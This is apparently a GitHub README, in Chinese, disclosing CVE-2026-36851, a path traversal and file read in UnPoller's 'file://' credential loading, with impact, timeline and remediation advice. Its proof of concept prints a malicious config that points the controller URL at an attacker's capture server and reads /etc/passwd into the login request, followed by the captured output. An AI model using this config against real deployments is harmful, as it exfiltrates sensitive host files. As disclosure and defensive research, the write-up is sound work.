SyntaxSaiyan/CVE-2026-36851
GitHub: SyntaxSaiyan/CVE-2026-36851
该仓库详细记录了 UnPoller v2.33.0 中由不受限制的「file://」前缀凭据加载机制所导致的路径遍历与任意文件读取漏洞(CVE-2026-36851)的完整分析和概念验证。
Stars: 0 | Forks: 0
# CVE-2026-36851
在 [UnPoller](https://github.com/unpoller/unpoller) v2.33.0 中通过 `file://` 密码前缀导致的路径遍历 / 任意文件读取。文件内容从磁盘读取,并在身份验证期间传输到配置的 UniFi controller URL。
| | |
|---|---|
| **CVE** | [CVE-2026-36851](https://www.cve.org/CVERecord?id=CVE-2026-36851) |
| **产品** | UnPoller v2.33.0(早期版本可能受影响) |
| **弱点** | CWE-22(路径遍历),CWE-20(输入验证不充分) |
| **CVSS 3.1** | 7.5 高危 — `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N` |
| **报告者** | Hector Diaz |
## 摘要
当配置值以 `file://` 开头时,UnPoller 支持从文件加载凭据。这种行为是为 Docker 部署设计的,适用于希望将密码放在明文配置文件之外的操作人员。该实现没有限制可以读取的路径——进程可以访问的任何文件都是有效输入。然后,这些内容将通过网络以 JSON `POST` 请求的形式发送到同一配置文件中设置的任何 controller `url` 的 `/api/login` 接口。
这种组合将本地文件读取原语转变为一个**网络泄露通道**:对 `up.conf` 具有写入权限的攻击者可以将 `url` 指向其控制的服务器,并在没有对这些文件的直接读取权限的情况下,重复泄露敏感文件。
## 背景
我在我的家庭实验室中运行 UnPoller——在 Proxmox LXC 上运行 Docker——以将 UniFi 指标导出到 Grafana 以及我的其他技术栈。我当时正在审查开源项目的常见 Web 漏洞。UnPoller 的面向用户的 Web 表面极小,因此 XSS 是一条死胡同。示例配置就是这个发现的起点:
```
pass = "file:///path/to/password.file"
```
其初衷是合理的:引用一个 secrets 文件,而不是将密码直接嵌入 `up.conf` 中。我当时的疑问是 UnPoller 是否会验证该路径——或者将任何 `file://` 值视为字面意义上的文件系统指针。
在 `pkg/inputunifi/input.go`(以及 `influxunifi`、`lokiunifi` 中的类似处理)中跟踪源代码表明,没有任何白名单。当 `pass` 或 `api_key` 以 `file://` 开头时,该前缀会被去除,随后 `os.ReadFile()` 会将完整的文件内容加载到用于 UniFi 身份验证的凭据字段中。
## 影响
**机密性:** UnPoller 主机上任何可读的文件都可能被泄露——例如 `/etc/passwd`、`/proc/version`、`/etc/hosts`、应用程序配置,以及潜在的 key material(具体取决于进程权限)。
**攻击前提:** 对 UnPoller 配置(通常是 `up.conf`)的写入权限。一旦配置被修改,触发读取不需要 UniFi 凭据。
**为什么这超越了本地管理员权限的影响:** 在共享主机、配置不当的 Kubernetes 或受损的 sidecar 场景中,低权限的攻击者可能能够修改服务配置,但却无法直接读取敏感文件。这种行为通过让 UnPoller 读取文件并将其对外传输,从而弥补了这一差距。
**不在范围内:** 远程代码执行、完整性或可用性——这是一个具有明确泄露路径的信息披露问题。
## 概念验证
在基于 Debian 的 Proxmox LXC 上使用 Docker Compose 针对运行 `ghcr.io/unpoller/unpoller:latest` (v2.33.0) 进行了测试。
### 无效的尝试
在我的部署中,通过环境变量设置 `UP_UNIFI_DEFAULT_PASS="file:///etc/passwd"` 并未触发该行为。挂载的配置文件才是有效的真实来源。
### 有效的尝试
我编辑了 `up.conf`,将 UnPoller 指向一个**我控制的捕获服务器**,而不是我的生产环境 UniFi controller:
```
[unifi.defaults]
url = "https://x.x.x.x:8443"
user = "admin"
pass = "file:///etc/passwd"
```
执行 `docker restart unpoller` 后,容器开始每约 30 秒连接一次我位于 8443 端口的监听器。
### 捕获泄露
我的第一个捕获服务器记录了 HTTP 标头并查找了 `Authorization: Basic ...` 凭据。UnPoller 发送了 `POST /api/login` 请求,但**没有 Authorization 标头**——UniFi 的 API 期望在请求体中包含 JSON:
```
{"username": "admin", "password": "..."}
```
我更新了监听器以读取 `Content-Length`,解析 POST 请求体,并记录 JSON。一分钟内,`/etc/passwd` 的内容就出现在了密码字段中:

日志摘录:
```
🎯 POST BODY: b'{"username":"admin","password":"root:x:0:0:root:/root:/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/sbin/nologin
nonroot:x:65532:65532:nonroot:/home/nonroot:/sbin/nologin"}'
```
相同的配置模式也适用于 `/proc/version`(内核/构建指纹识别):

恶意配置示例:[`poc/up.conf.example`](poc/up.conf.example)
## 披露时间线
| 日期 | 事件 |
|------|-------|
| 2026-02-28 | 在家庭实验室中发现并确认 |
| 2026-03-01 | 通知供应商 (Discord) |
| 2026-03-02 | 提交 MITRE CVE 申请 |
| 2026-06-05 | 分配 CVE-2026-36851 |
| 2026-07-03 | 发布公开报告 |
UnPoller 维护者承认 `file://` 行为是为方便 Docker 用户而有意设计的,并质疑在配置编辑器和进程用户之间缺乏权限隔离的情况下其可利用性。无论如何,MITRE 分配了 CVE 标识符。
## 修复建议
**对于操作人员**
- 将 `up.conf` 和配置挂载视为敏感信息;限制写入权限。
- 确保 UnPoller 只能访问受信任的 UniFi controller endpoint。
- 在修复程序可用之前,优先使用 Docker secrets、Kubernetes secrets 或基于环境的凭据注入,而不是任意的 `file://` 路径。
**对于开发者**
- 移除凭据字段中不受限制的 `file://` 处理,或强制执行严格的路径白名单(例如仅限 `/etc/unpoller/secrets/` 目录下)。
- 当无法读取配置的 secrets 文件时采取安全失败原则——不要悄无声息地替换为空密码。
- 如果继续支持基于文件的凭据,请记录其威胁模型。
## 参考
- [CVE-2026-36851](https://www.cve.org/CVERecord?id=CVE-2026-36851)
- [UnPoller](https://github.com/unpoller/unpoller)
- [CWE-22](https://cwe.mitre.org/data/definitions/22.html) · [CWE-20](https://cwe.mitre.org/data/definitions/20.html)
## 许可证
MIT — 详见 [LICENSE](LICENSE)。本仓库中的概念验证材料仅供**授权的安全研究和教育使用**。请勿将其用于您不拥有或未获得明确测试许可的系统。
Hector Diaz · [LinkedIn](https://www.linkedin.com/in/hector-diaz-cyber/) · [hectordiaz.net](https://hectordiaz.net)
标签:PoC, StruQ, 任意文件读取, 日志审计, 暴力破解, 版权保护, 网络安全, 请求拦截, 路径穿越, 隐私保护